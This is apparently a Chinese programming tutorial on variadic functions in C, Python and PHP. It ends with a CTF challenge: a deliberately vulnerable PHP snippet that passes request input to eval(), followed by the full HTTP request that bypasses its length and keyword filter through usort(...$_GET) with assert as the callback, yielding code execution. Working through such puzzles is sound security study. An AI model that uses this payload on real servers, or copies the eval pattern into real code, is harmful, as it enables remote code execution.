可变参数函数 可变参数函数是指参数个数可变的函数,在函数声明和定义的时候并没有明确的指出函数需要的参数个数,具体有多少个参数,是在调用的时候确定的. 可变参数函数并不是什么新奇的东西,早在我们学c语言的时候,就见过,例如我们常用的printf()和scanf()函数. printf() 的函数原型是
1 int printf (const char * format,...) ;
我们写下面的代码看一下:
1 2 3 4 5 6 7 #include "stdio.h" int main () { int param1=1 ,param2=2 ; printf ("一个参数:%d\n" ,param1);printf ("一个参数:%d,第二个参数:%d\n" ,param1,param2);return 0 ;}
我们都会用这样的函数,但是却没用自己动手写过可便参数的函数.
自己动手写可变参数的函数 在c语言中要实现一个可变参函数,需要用到一下的宏
1 2 3 void va_start ( va_list arg_ptr, prev_param ) ;type va_arg ( va_list arg_ptr, type ) ;void va_end ( va_list arg_ptr ) ;
这些宏定义在stdarg.h头文件中,所以在写可变参数函数的时候需要包含此头文件. gcc编译器使用内置宏间接实现变参宏,如#define va_start(v,l) __builtin_va_start(v,l)。因为gcc编译器需要考虑跨平台处理,而其实现因平台而异。 C调用约定下可使用va_list系列变参宏实现变参函数,此处va意为variable-argument(可变参数)。典型用法如下:
1 2 3 4 5 6 7 8 9 10 #include <stdarg.h> int VarArgFunc (int dwFixedArg, ...) { va_list pArgs = NULL ; va_start(pArgs, dwFixedArg); int dwVarArg = va_arg(pArgs, int ); va_end(pArgs); }
如下函数实现n个整数相加(n>=1),但是定义函数之前并不知道到底是几个数相加,代码如下
1 2 3 4 5 6 7 8 9 10 int sum (int n, ...) { va_list ap; va_start(ap, n); int sum = 0 ; while (n--) sum += va_arg(ap, int ); va_end(ap); return sum; }
python 中的可变参数函数 python中定义函数,可以使用args和* kwargs将不定量的参数传递给一个函数,args发送一个非键值对的可变数量的参数列表给一个函数,* kwargs允许你将不定长度的键值对(key,value), 作为参数传递给一个函数。 例子如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 def function1 (arg1,arg2,arg3) : print "arg1:" ,arg1 print "arg2:" ,arg2 print "arg3:" ,arg3 def function2 (*args) : for arg in args: print "arg from args:" ,arg def function3 (**kwargs) : for key,value in kwargs.items(): print "{key}=={value}" .format(key=key,value=value) function1("one" ,"two" ,"three" ) args=("one" ,"two" ,"three" ) function2(*args) kwargs={"1" :"one" ,"2" :"two" } function3(**kwargs)
最后的输出:
1 2 3 4 5 6 7 8 arg1: one arg2: two arg3: three arg from args: one arg from args: two arg from args: three 1==one 2==two
php中的可变参函数 php5.6引入了一个新特性,PHP中可以使用 func(...$arr)
这样的方式,将$arr
数组展开成多个参数,传入func函数。Manual
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php function f ($req, $opt = null, ...$params) { printf('$req: %d; $opt: %d; number of params: %d' ."\n" , $req, $opt, count($params)); } f(1 ); f(1 , 2 ); f(1 , 2 , 3 ); f(1 , 2 , 3 , 4 ); f(1 , 2 , 3 , 4 , 5 ); ?>
最后的输出:
1 2 3 4 5 $req : 1; $opt : 0; number of params: 0$req : 1; $opt : 2; number of params: 0$req : 1; $opt : 2; number of params: 1$req : 1; $opt : 2; number of params: 2$req : 1; $opt : 2; number of params: 3
最后来看phithon的题目: 1 2 3 4 5 6 <?php $param = $_REQUEST['param' ]; if (strlen($param)<17 && stripos($param,'eval' ) === false && stripos($param,'assert' ) === false ) { eval ($param); } ?>
要求必须getshell phithon 给出的标准答案是:
1 2 3 4 5 6 7 8 9 10 POST /index.php?1[]=test&1[]=var_dump($_SERVER);&2=assert HTTP/1.1Host : localhost:8081Accept : */*Accept-Language : enUser-Agent : Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection : closeContent-Type : application/x-www-form-urlencodedContent-Length : 22param=usort(...$_GET);
$_GET变量 被展开为两个参数 [‘test’,’phpinfo();’]和assert,传入usort函数.usort函数第二个参数是回调函数assert,执行了第一个参数中的phpinfo(). 这样就可以达到getshell的效果.
reference https://www.leavesongs.com/PHP/bypass-eval-length-restrict.html
http://www.cnblogs.com/clover-toeic/p/3736748.html